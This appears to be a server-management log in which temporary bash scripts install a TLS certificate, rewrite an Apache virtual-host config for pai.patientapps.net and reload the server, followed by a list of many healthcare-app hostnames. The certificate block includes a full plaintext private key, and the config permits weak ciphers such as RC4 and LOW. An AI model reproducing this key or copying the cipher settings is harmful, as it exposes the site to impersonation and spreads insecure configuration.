MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-12 06:00:02: Establishing a connection
2026-03-12 06:00:03: Establishing a connection
2026-03-12 06:00:03: 

PUT: /tmp/pkp127864

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-12 06:00:03: 

chmod 755 /tmp/pkp127864; /tmp/pkp127864; rm /tmp/pkp127864

2026-03-12 06:00:03: 


0


2026-03-12 06:00:30: Establishing a connection
2026-03-12 06:00:31: 

PUT: /tmp/pkp718846

#!/bin/bash
temp_file=$(mktemp)
TARGET=3f85a328a3b4d0829fd0b0b311b3007b.crt

cat > $temp_file <<'endmsg'
d3:57:26:03:11:60:f0:9a:a8:9f:a6:a1:54:43:62:ad

-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBix+9d6d26zq3+wNrDYbY7ryMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzEyMDUwMTU4WhcNMjYwNjEwMDUwMTU3WjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAsvoDE3MQkRKz47r318hxALbQaeESoQyLh1mbm0X31hfG7bZmLOnWF5rT
kAriIpaKGJzyP6EI7PHpuoa7oOmDumhUzznCrCV7mbDQso8ms8c9ubPLvV9OypKG
IW5B1dmdfJje4no+9ooBbVfLS5ThT+tad13t9kDHmqY5f3nlUqwVGCx43yWdblEG
D4G27aIQtMHtzZWNB2F+mmOJvhMfkVbluaCnQJIKIyB4j2DGAqauvOu9FzFTad2A
3WgrRD0wMwvZJnpj85qNCLLuLWJ0NvOEP+QM4jQpUl6j4szF8Ge1oWZ7hRqRIFWp
wXIcRRmyAKtnePxymqQoTTEFmSQzaQIDAQABo4ICIjCCAh4wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FLNsYbiOv9TpuIchWRKY3VSX7k79MB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITcGFpLnBhdGllbnRhcHBzLm5ldDATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMu
bGVuY3Iub3JnLzExNS5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAfQClyXiS
XVdGF4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZzgodllAAgAAAUANQa1AAQD
AEYwRAIgQ4H2hH3Xpjo2n1ovcytT4zr2VnNvSD+3cx6ZMrIHZ2QCIGBM6BCj+tc7
hD5TgNdI+AVD/tYRa2lzkT45UUltY3PZAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGc4KHdZwAABAMASDBGAiEAnE/O+8ry3orePw5jBKKfttUH
EYA5/icJpGqI2+VlDC8CIQCh65/9xVAZKJ16R+o99+9U3twmN/HfkqzZ1GSXpROz
UDANBgkqhkiG9w0BAQsFAAOCAQEAbjbH9pzj0kiPdHWn+e46pXEtoKFCMNYkqmzq
xFeTX1/UdAXn2orgTkE0hkCqbS/Ybl/Z7gITXxb00Mlh1p4sg4UGm+h8DhsjtIvN
kvst5TWIQ0e2jVSRV+pl77xjBvaphddxh75CnJ0KRc/YQyehbNI+MMnK2IXUUg9N
1aRXomymiMvcSdTEZNKTQCFO3WDD1xED2gVFUIxm40k8fsTw1VxHIXYPl3k3CW2m
suPKp+/ZFLpM20X6mGXmvBW5pDyx61vzSqPBShMxxGLZbYQ8C5n/CH6lE4AqxOBg
W5tBpz9ExIUr/sShFGHdhFcEc9lxeLmsa9XzNv9K7PggQUf5qg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCy+gMTcxCRErPj
uvfXyHEAttBp4RKhDIuHWZubRffWF8bttmYs6dYXmtOQCuIilooYnPI/oQjs8em6
hrug6YO6aFTPOcKsJXuZsNCyjyazxz25s8u9X07KkoYhbkHV2Z18mN7iej72igFt
V8tLlOFP61p3Xe32QMeapjl/eeVSrBUYLHjfJZ1uUQYPgbbtohC0we3NlY0HYX6a
Y4m+Ex+RVuW5oKdAkgojIHiPYMYCpq68670XMVNp3YDdaCtEPTAzC9kmemPzmo0I
su4tYnQ284Q/5AziNClSXqPizMXwZ7WhZnuFGpEgVanBchxFGbIAq2d4/HKapChN
MQWZJDNpAgMBAAECggEABkkEYaL5UnbrLVSsDn5iBYnmAMngKxqzLbImZkoLPZAB
MujkZrBhjduokVbogRlzSRD96uEfXJ7UO/IuVaTNtPaj/9EB9qSsVgXhFlwzmj2l
e8eGIKTfsfp6TmM+WaG2R6FgtmhfnK3VBf9+yq00Smez+hwo1qyItfQfccwYkxIb
6egyg8dbqSl+0amncUbTMSP155ybKTkxTU1jQnn2agqdrqnheBkutSdDkjTioexq
AtC5DkwYeIkNiklUgoe3SOnQbHRMr8DZ0jAG1evTjXLCkAdQOk27PUiO//LzqvaS
2me2LM/DNgjzrzzSk2TSCyaxvRfuLWpGH7JIR6roGQKBgQDmw9tZn6xhWnk7P/M1
7o1F+sndcR3TPIhNDWFL+WY+I/iXKDX4zmU5uOYES32GEU9E7LnC0iHuIgZsrTeP
o74asncGs5wqGZ7MEsBjCLimHI8bCPIgC+/DsR1y88mNFUrkPZmZEPlwi1fhFxPs
Is1nikDhtyu9IeKoFghGHne1rQKBgQDGjF2IedQsZD8Ed4UJmMYZUMhI6h7D/TJ0
SlwcFIPZI9c/IZ8rByc37zWI9SPy75y30R1bwx/iPCh9/NCxcaSIuVqqfJN2aU0q
yyPfS75GUGqHDFtmZnvXXN6btx+9dCQDR5iKhbYCLsBNyfT7xnzZu3bv5VXEgVN8
/jgLgv7ULQKBgFJrW3mcJOY0eR4nTgdSJ1T6KIUVtJBQi2HxyHFpJxJEqLHcI8K0
fMTr/ANGrxNmNUipwAMMKCA0ONUx3KlJ00kXuplDJyCGPAgpHluAruptQtNmE4xM
lxrutFTtK2xfUXtJYQWhYWXH7uAu7Oem2nQDlf7H/DA13Q0pqVTZ5umVAoGARNsY
9OOLOXnqgNoSQSnCSbVCQEcxNDby8HF5UCOtNfjABRzb3kg0yakjn8OkG/QNHZJf
5BrfS84hHNA4b9FBhkkBsG5TlZUfNeANKLtT2X658uvOJs0T1bRXXxk64LEObDTA
KgoE/OzJtDB9zXMgiUICFWArRmKzWX2wYg2j4mECgYBk7KV+Nh3gaUXUpQyINWx0
2BMfzt/B2H2/j7Fw5/aG6u2IvgP7Z3GqnyDtqXHpYO5PVH0YKgyRXME1eNXJdJx5
R9fBFCzotNbJIGHuMRkJfb+X0mCfvII/bXhd/wm6WKxpT+orkkUgVnVIcuvNLy60
Fp4bb0EvPGaIcaabn5KQsQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-12 06:00:31: 

chmod 755 /tmp/pkp718846; /tmp/pkp718846; rm /tmp/pkp718846

2026-03-12 06:00:31: 


dir=/etc/ssl/certs


2026-03-12 06:00:31: 

PUT: /tmp/pkp615183

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_pai_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-12 06:00:31: 

chmod 755 /tmp/pkp615183; /tmp/pkp615183; rm /tmp/pkp615183

2026-03-12 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf 43

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-12 06:00:31: 

PUT: /tmp/pkp762514

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_pai_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_pai_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_pai_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_pai_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf= 1'
fi


2026-03-12 06:00:31: 

chmod 755 /tmp/pkp762514; /tmp/pkp762514; rm /tmp/pkp762514

2026-03-12 06:00:31: 




2026-03-12 06:00:31: 

PUT: /tmp/pkp285882

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-12 06:00:31: 

chmod 755 /tmp/pkp285882; /tmp/pkp285882; rm /tmp/pkp285882

2026-03-12 06:00:31: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-12 06:00:31: Establishing a connection
2026-03-12 06:00:31: 

PUT: /tmp/pkp803524

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-12 06:00:31: 

chmod 755 /tmp/pkp803524; /tmp/pkp803524; rm /tmp/pkp803524

2026-03-12 06:00:31: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
